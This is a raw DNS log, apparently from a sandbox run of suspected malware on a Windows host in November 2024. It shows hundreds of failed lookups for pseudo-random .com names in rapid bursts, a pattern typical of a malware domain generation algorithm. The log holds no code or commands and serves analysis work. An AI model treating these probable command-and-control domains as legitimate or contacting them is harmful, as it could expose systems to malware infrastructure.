Nov 11, 2024 18:50:52.294217110 CET	1.1.1.1	192.168.2.6	0xccbd	Name error (3)	ganyzub.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:52.295356035 CET	1.1.1.1	192.168.2.6	0x587b	Name error (3)	lykymox.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:52.304152012 CET	1.1.1.1	192.168.2.6	0x7eed	Name error (3)	pufybyv.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:52.305057049 CET	1.1.1.1	192.168.2.6	0x426c	Name error (3)	lykygur.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:52.306700945 CET	1.1.1.1	192.168.2.6	0x46dd	Name error (3)	lyryxij.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:52.307013988 CET	1.1.1.1	192.168.2.6	0xf124	Name error (3)	vocykem.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:52.322290897 CET	1.1.1.1	192.168.2.6	0xbca1	Name error (3)	gatydaw.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:52.327107906 CET	1.1.1.1	192.168.2.6	0x300f	Name error (3)	qebylug.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:52.327133894 CET	1.1.1.1	192.168.2.6	0x42ad	Name error (3)	vofydac.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:52.327671051 CET	1.1.1.1	192.168.2.6	0xcfcb	Name error (3)	lyvylyn.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:52.330475092 CET	1.1.1.1	192.168.2.6	0xfb48	Name error (3)	vopydek.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:52.342123985 CET	1.1.1.1	192.168.2.6	0xaaa7	Name error (3)	qebyrev.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:52.413613081 CET	1.1.1.1	192.168.2.6	0xf0cd	Name error (3)	lyxyjaj.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:52.413924932 CET	1.1.1.1	192.168.2.6	0xc154	Name error (3)	gadyveb.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:58.162116051 CET	1.1.1.1	192.168.2.6	0xa108	Name error (3)	pufypiq.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:58.168385983 CET	1.1.1.1	192.168.2.6	0x376b	Name error (3)	gaqykab.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:58.170962095 CET	1.1.1.1	192.168.2.6	0xc28a	Name error (3)	qegysoq.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:58.179898024 CET	1.1.1.1	192.168.2.6	0x8528	Name error (3)	pujydag.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:58.186533928 CET	1.1.1.1	192.168.2.6	0x8f4f	Name error (3)	vopyzuc.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:58.187522888 CET	1.1.1.1	192.168.2.6	0xed8a	Name error (3)	lykyfen.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:58.188462019 CET	1.1.1.1	192.168.2.6	0x5a7d	Name error (3)	lyvymir.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:58.189088106 CET	1.1.1.1	192.168.2.6	0x2122	Name error (3)	gatyzys.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:58.192080975 CET	1.1.1.1	192.168.2.6	0x8c70	Name error (3)	qetylyv.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:58.195959091 CET	1.1.1.1	192.168.2.6	0xe305	Name error (3)	puvymul.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:58.204858065 CET	1.1.1.1	192.168.2.6	0xb3e4	Name error (3)	lyryled.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:58.205991983 CET	1.1.1.1	192.168.2.6	0x351f	Name error (3)	vojydam.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:58.206208944 CET	1.1.1.1	192.168.2.6	0x608	Name error (3)	purylev.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:58.206525087 CET	1.1.1.1	192.168.2.6	0xd455	Name error (3)	qexynyp.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:58.208868980 CET	1.1.1.1	192.168.2.6	0x5053	Name error (3)	qekyfeg.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:58.210553885 CET	1.1.1.1	192.168.2.6	0xc838	Name error (3)	vonyqok.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:58.214813948 CET	1.1.1.1	192.168.2.6	0xeadf	Name error (3)	vocymut.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:58.220187902 CET	1.1.1.1	192.168.2.6	0x91d2	Name error (3)	vojybek.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:58.229579926 CET	1.1.1.1	192.168.2.6	0xb195	Name error (3)	vowykaf.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:58.238645077 CET	1.1.1.1	192.168.2.6	0xbd65	Name error (3)	gahyvew.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:58.245757103 CET	1.1.1.1	192.168.2.6	0x3376	Name error (3)	lygyvar.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:58.246741056 CET	1.1.1.1	192.168.2.6	0x8d47	Name error (3)	volygyf.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:58.247517109 CET	1.1.1.1	192.168.2.6	0x8c4b	Name error (3)	pumywaq.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:58.247930050 CET	1.1.1.1	192.168.2.6	0xc599	Name error (3)	ganyqow.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:58.247941017 CET	1.1.1.1	192.168.2.6	0x6d01	Name error (3)	lysyxux.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:58.248141050 CET	1.1.1.1	192.168.2.6	0x1b0	Name error (3)	pumylel.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:58.248614073 CET	1.1.1.1	192.168.2.6	0x9f7f	Name error (3)	qebykap.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:58.249864101 CET	1.1.1.1	192.168.2.6	0xb49b	Name error (3)	lyvyjox.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:58.249880075 CET	1.1.1.1	192.168.2.6	0x5825	Name error (3)	vopypif.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:58.249916077 CET	1.1.1.1	192.168.2.6	0xea99	Name error (3)	vonyket.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:58.249926090 CET	1.1.1.1	192.168.2.6	0x7fc5	Name error (3)	qekynuq.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:58.256707907 CET	1.1.1.1	192.168.2.6	0xe1a2	Name error (3)	pupyxup.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:58.264374971 CET	1.1.1.1	192.168.2.6	0xe99b	Name error (3)	puvyjop.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:58.264573097 CET	1.1.1.1	192.168.2.6	0xe36f	Name error (3)	qetytug.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:58.265142918 CET	1.1.1.1	192.168.2.6	0x1e26	Name error (3)	pujybyq.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:58.266032934 CET	1.1.1.1	192.168.2.6	0x4117	Name error (3)	qebyqil.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:58.266828060 CET	1.1.1.1	192.168.2.6	0x8cd6	Name error (3)	lygysij.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:58.266836882 CET	1.1.1.1	192.168.2.6	0x6519	Name error (3)	gacynuz.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:58.267081022 CET	1.1.1.1	192.168.2.6	0xd530	Name error (3)	gahydoh.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:58.268948078 CET	1.1.1.1	192.168.2.6	0x2a91	Name error (3)	galyfyb.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:58.269992113 CET	1.1.1.1	192.168.2.6	0xf26b	Name error (3)	lysysod.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:58.272083998 CET	1.1.1.1	192.168.2.6	0x8c16	Name error (3)	gatypub.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:58.272151947 CET	1.1.1.1	192.168.2.6	0x9eec	Name error (3)	ganykaz.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:58.273137093 CET	1.1.1.1	192.168.2.6	0x867	Name error (3)	pupypiv.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:58.274604082 CET	1.1.1.1	192.168.2.6	0x2d46	Name error (3)	lymywaj.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:58.277121067 CET	1.1.1.1	192.168.2.6	0x5be8	Name error (3)	lyxygud.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:58.280313969 CET	1.1.1.1	192.168.2.6	0xe5f0	Name error (3)	pufycol.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:58.282668114 CET	1.1.1.1	192.168.2.6	0xcd99	Name error (3)	vowyrym.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:58.284132957 CET	1.1.1.1	192.168.2.6	0x8706	Name error (3)	vocyjic.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:58.284547091 CET	1.1.1.1	192.168.2.6	0xfa9e	Name error (3)	qeqyreq.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:58.285295010 CET	1.1.1.1	192.168.2.6	0xee97	Name error (3)	lykynyj.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:58.286379099 CET	1.1.1.1	192.168.2.6	0x2b4f	Name error (3)	qedysov.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:58.289562941 CET	1.1.1.1	192.168.2.6	0x3e29	Name error (3)	puzyguv.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:58.292737007 CET	1.1.1.1	192.168.2.6	0xb0dd	Name error (3)	gacyhis.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:58.294053078 CET	1.1.1.1	192.168.2.6	0xd054	Name error (3)	lyrytun.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:58.301151991 CET	1.1.1.1	192.168.2.6	0x133b	Name error (3)	purytyg.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:58.304049015 CET	1.1.1.1	192.168.2.6	0x1aa1	Name error (3)	gaqyreh.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:58.329319954 CET	1.1.1.1	192.168.2.6	0x4018	Name error (3)	qedyxip.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:59.796818972 CET	1.1.1.1	192.168.2.6	0x5cee	Name error (3)	gahycib.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:59.798705101 CET	1.1.1.1	192.168.2.6	0x16cf	Name error (3)	puvygyq.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:59.798891068 CET	1.1.1.1	192.168.2.6	0x1986	Name error (3)	qetyrap.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:59.801615000 CET	1.1.1.1	192.168.2.6	0xfbc5	Name error (3)	vofypuk.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:59.801682949 CET	1.1.1.1	192.168.2.6	0x475f	Name error (3)	pujycov.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:59.803637981 CET	1.1.1.1	192.168.2.6	0x6086	Name error (3)	lysytyr.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:59.803755999 CET	1.1.1.1	192.168.2.6	0xaea7	Name error (3)	gadypuw.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:59.805521011 CET	1.1.1.1	192.168.2.6	0x8f9	Name error (3)	vonyjim.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:59.805917978 CET	1.1.1.1	192.168.2.6	0xf46b	Name error (3)	galyvas.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:59.806010008 CET	1.1.1.1	192.168.2.6	0x1fd7	Name error (3)	purywop.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:59.807096958 CET	1.1.1.1	192.168.2.6	0x5369	Name error (3)	gacyvah.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:59.807652950 CET	1.1.1.1	192.168.2.6	0xa7b5	Name error (3)	vocygyk.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:59.807698011 CET	1.1.1.1	192.168.2.6	0xba19	Name error (3)	lyrywax.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:59.807971001 CET	1.1.1.1	192.168.2.6	0xc694	Name error (3)	lykyvod.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:59.808358908 CET	1.1.1.1	192.168.2.6	0x4734	Name error (3)	vojycif.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:59.809338093 CET	1.1.1.1	192.168.2.6	0x2a1a	Name error (3)	pumyjig.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:59.809385061 CET	1.1.1.1	192.168.2.6	0xfb1f	Name error (3)	qebyhuq.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:59.809393883 CET	1.1.1.1	192.168.2.6	0x505c	Name error (3)	vopyret.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:59.811021090 CET	1.1.1.1	192.168.2.6	0xa39c	Name error (3)	qegytyv.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:59.820707083 CET	1.1.1.1	192.168.2.6	0x2a75	Name error (3)	lyvyguj.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:59.822714090 CET	1.1.1.1	192.168.2.6	0x4f06	Name error (3)	gatyrez.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:59.823431015 CET	1.1.1.1	192.168.2.6	0xa6d8	Name error (3)	qeqykog.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:59.823586941 CET	1.1.1.1	192.168.2.6	0x7166	Name error (3)	puzybep.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:59.826874971 CET	1.1.1.1	192.168.2.6	0x78fe	Name error (3)	pupytyl.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:59.826998949 CET	1.1.1.1	192.168.2.6	0xc817	Name error (3)	volybec.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:59.827112913 CET	1.1.1.1	192.168.2.6	0x34e7	Name error (3)	qekyvav.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:59.827497005 CET	1.1.1.1	192.168.2.6	0x55fb	Name error (3)	qegyxug.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:59.828265905 CET	1.1.1.1	192.168.2.6	0x38e3	Name error (3)	ganyhuh.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:59.829878092 CET	1.1.1.1	192.168.2.6	0xd6a1	Name error (3)	vopykak.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:59.830642939 CET	1.1.1.1	192.168.2.6	0x7f8e	Name error (3)	qedytul.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:59.832699060 CET	1.1.1.1	192.168.2.6	0xf4ad	Name error (3)	gahypus.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:59.832849026 CET	1.1.1.1	192.168.2.6	0xe203	Name error (3)	puryjil.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:59.836689949 CET	1.1.1.1	192.168.2.6	0x68d3	Name error (3)	ganynyb.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:59.839622974 CET	1.1.1.1	192.168.2.6	0xa070	Name error (3)	lykysix.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:59.846030951 CET	1.1.1.1	192.168.2.6	0x2ae9	Name error (3)	qetykol.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:59.846342087 CET	1.1.1.1	192.168.2.6	0x6947	Name error (3)	vocybam.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:59.846357107 CET	1.1.1.1	192.168.2.6	0xa820	Name error (3)	puvybeg.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:59.862638950 CET	1.1.1.1	192.168.2.6	0x4d3	Name error (3)	pujypup.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:59.870069027 CET	1.1.1.1	192.168.2.6	0xc7f1	Name error (3)	lyryjir.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:59.872634888 CET	1.1.1.1	192.168.2.6	0x5ff9	Name error (3)	gatykow.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:59.874560118 CET	1.1.1.1	192.168.2.6	0xd24f	Name error (3)	lyvynen.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:59.878283978 CET	1.1.1.1	192.168.2.6	0xe27e	Name error (3)	vojypuc.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:59.884294033 CET	1.1.1.1	192.168.2.6	0x91bf	Name error (3)	galydoz.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:59.886439085 CET	1.1.1.1	192.168.2.6	0x801e	Name error (3)	pufyxug.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:59.886609077 CET	1.1.1.1	192.168.2.6	0xb4f9	Name error (3)	pupylaq.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:59.886635065 CET	1.1.1.1	192.168.2.6	0xf68b	Name error (3)	qeqyqiv.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:59.886750937 CET	1.1.1.1	192.168.2.6	0x4404	Name error (3)	vonymuf.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:59.887742996 CET	1.1.1.1	192.168.2.6	0x812a	Name error (3)	pumymuv.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:59.888190985 CET	1.1.1.1	192.168.2.6	0xbdd3	Name error (3)	gadyzyh.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:59.888689995 CET	1.1.1.1	192.168.2.6	0x5972	Name error (3)	qekysip.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:59.891330957 CET	1.1.1.1	192.168.2.6	0xf3cc	Name error (3)	gacyfew.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:59.900541067 CET	1.1.1.1	192.168.2.6	0x44d	Name error (3)	qebynyg.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:59.907130957 CET	1.1.1.1	192.168.2.6	0xc715	Name error (3)	puzydal.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:59.907183886 CET	1.1.1.1	192.168.2.6	0xc9c	Name error (3)	lymymud.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:59.907933950 CET	1.1.1.1	192.168.2.6	0x8e67	Name error (3)	vofyzym.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:59.908379078 CET	1.1.1.1	192.168.2.6	0xc38a	Name error (3)	qedyleq.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:59.913486004 CET	1.1.1.1	192.168.2.6	0xe916	Name error (3)	lyxyfar.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:59.927063942 CET	1.1.1.1	192.168.2.6	0x49ba	Name error (3)	lysylej.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:59.928195953 CET	1.1.1.1	192.168.2.6	0x9021	Name error (3)	vowyqoc.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:59.949049950 CET	1.1.1.1	192.168.2.6	0x9636	Name error (3)	volydot.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:59.949563980 CET	1.1.1.1	192.168.2.6	0xe4ee	Name error (3)	lygyxun.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:59.950197935 CET	1.1.1.1	192.168.2.6	0xf4c8	Name error (3)	gaqyqis.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:59.971426964 CET	1.1.1.1	192.168.2.6	0x1d38	Name error (3)	qexyfel.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:01.095124960 CET	1.1.1.1	192.168.2.6	0xd80b	Name error (3)	puzypug.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:01.098835945 CET	1.1.1.1	192.168.2.6	0x4a24	Name error (3)	vofykoc.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:01.104882956 CET	1.1.1.1	192.168.2.6	0xb3ba	Name error (3)	lyvyvix.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:01.111995935 CET	1.1.1.1	192.168.2.6	0x2c89	Name error (3)	gadykos.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:01.115289927 CET	1.1.1.1	192.168.2.6	0x7731	Name error (3)	qeqynel.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:01.124125957 CET	1.1.1.1	192.168.2.6	0xb186	Name error (3)	volypum.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:01.124305010 CET	1.1.1.1	192.168.2.6	0x536e	Name error (3)	lymyner.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:01.124670982 CET	1.1.1.1	192.168.2.6	0x6230	Name error (3)	pumybal.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:01.129441023 CET	1.1.1.1	192.168.2.6	0x11d8	Name error (3)	qedykiv.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:01.132046938 CET	1.1.1.1	192.168.2.6	0xdbe7	Name error (3)	lysyjid.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:01.136305094 CET	1.1.1.1	192.168.2.6	0x2f01	Name error (3)	vonybat.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:01.137366056 CET	1.1.1.1	192.168.2.6	0x6caa	Name error (3)	lyxysun.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:01.147658110 CET	1.1.1.1	192.168.2.6	0xd50e	Name error (3)	vopyjuf.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:01.151146889 CET	1.1.1.1	192.168.2.6	0x3dee	Name error (3)	galypyh.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:01.159583092 CET	1.1.1.1	192.168.2.6	0xbc83	Name error (3)	qekytyq.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:01.160013914 CET	1.1.1.1	192.168.2.6	0x7a64	Name error (3)	pupyjuv.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:01.161212921 CET	1.1.1.1	192.168.2.6	0x8ac9	Name error (3)	ganyvoz.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:01.173029900 CET	1.1.1.1	192.168.2.6	0x9914	Name error (3)	galycuw.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:01.179511070 CET	1.1.1.1	192.168.2.6	0x18c4	Name error (3)	vojyrak.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:01.189380884 CET	1.1.1.1	192.168.2.6	0x980f	Name error (3)	qebyfav.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:01.189724922 CET	1.1.1.1	192.168.2.6	0x4e59	Name error (3)	lykyxur.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:01.194062948 CET	1.1.1.1	192.168.2.6	0x121b	Name error (3)	vonygec.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:01.197694063 CET	1.1.1.1	192.168.2.6	0xa740	Name error (3)	qexysig.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:01.198061943 CET	1.1.1.1	192.168.2.6	0xa6b1	Name error (3)	lyvyfad.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:01.198272943 CET	1.1.1.1	192.168.2.6	0x9b98	Name error (3)	qekyxul.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:01.198286057 CET	1.1.1.1	192.168.2.6	0xa01e	Name error (3)	qebyvop.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:01.198510885 CET	1.1.1.1	192.168.2.6	0xe28	Name error (3)	pufytev.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:01.199601889 CET	1.1.1.1	192.168.2.6	0x7fc8	Name error (3)	lygylax.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:01.200381041 CET	1.1.1.1	192.168.2.6	0x5fed	Name error (3)	gacydib.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:01.201078892 CET	1.1.1.1	192.168.2.6	0xeb8e	Name error (3)	ganyfes.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:01.201725006 CET	1.1.1.1	192.168.2.6	0x1463	Name error (3)	qetyquq.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:01.209337950 CET	1.1.1.1	192.168.2.6	0x55b9	Name error (3)	qedyrag.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:01.211793900 CET	1.1.1.1	192.168.2.6	0x9fd	Name error (3)	pumygyp.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:01.212321043 CET	1.1.1.1	192.168.2.6	0x9d4f	Name error (3)	qexyvoq.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:01.212347031 CET	1.1.1.1	192.168.2.6	0x193f	Name error (3)	pufylap.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:01.212878942 CET	1.1.1.1	192.168.2.6	0xdf4b	Name error (3)	qeqyhup.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:01.213747978 CET	1.1.1.1	192.168.2.6	0xdbea	Name error (3)	gadyrab.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:01.219810009 CET	1.1.1.1	192.168.2.6	0xf174	Name error (3)	pupywog.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:01.221191883 CET	1.1.1.1	192.168.2.6	0x3a38	Name error (3)	volycik.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:01.221307993 CET	1.1.1.1	192.168.2.6	0xfe4f	Name error (3)	gaqynyw.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:01.221759081 CET	1.1.1.1	192.168.2.6	0x96fd	Name error (3)	qegylep.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:01.222944975 CET	1.1.1.1	192.168.2.6	0xca4d	Name error (3)	lysywon.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:01.227929115 CET	1.1.1.1	192.168.2.6	0xb8ff	Name error (3)	vowymyk.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:01.228473902 CET	1.1.1.1	192.168.2.6	0x9ed0	Name error (3)	gaqyhuz.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:01.229007959 CET	1.1.1.1	192.168.2.6	0xc8d0	Name error (3)	purymuq.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:01.231966019 CET	1.1.1.1	192.168.2.6	0xe9a0	Name error (3)	vopyqim.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:01.232284069 CET	1.1.1.1	192.168.2.6	0x3816	Name error (3)	lyrymuj.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:01.232625961 CET	1.1.1.1	192.168.2.6	0x4f24	Name error (3)	puvycip.com	none	none	A (IP address)	IN (0x0001)	false
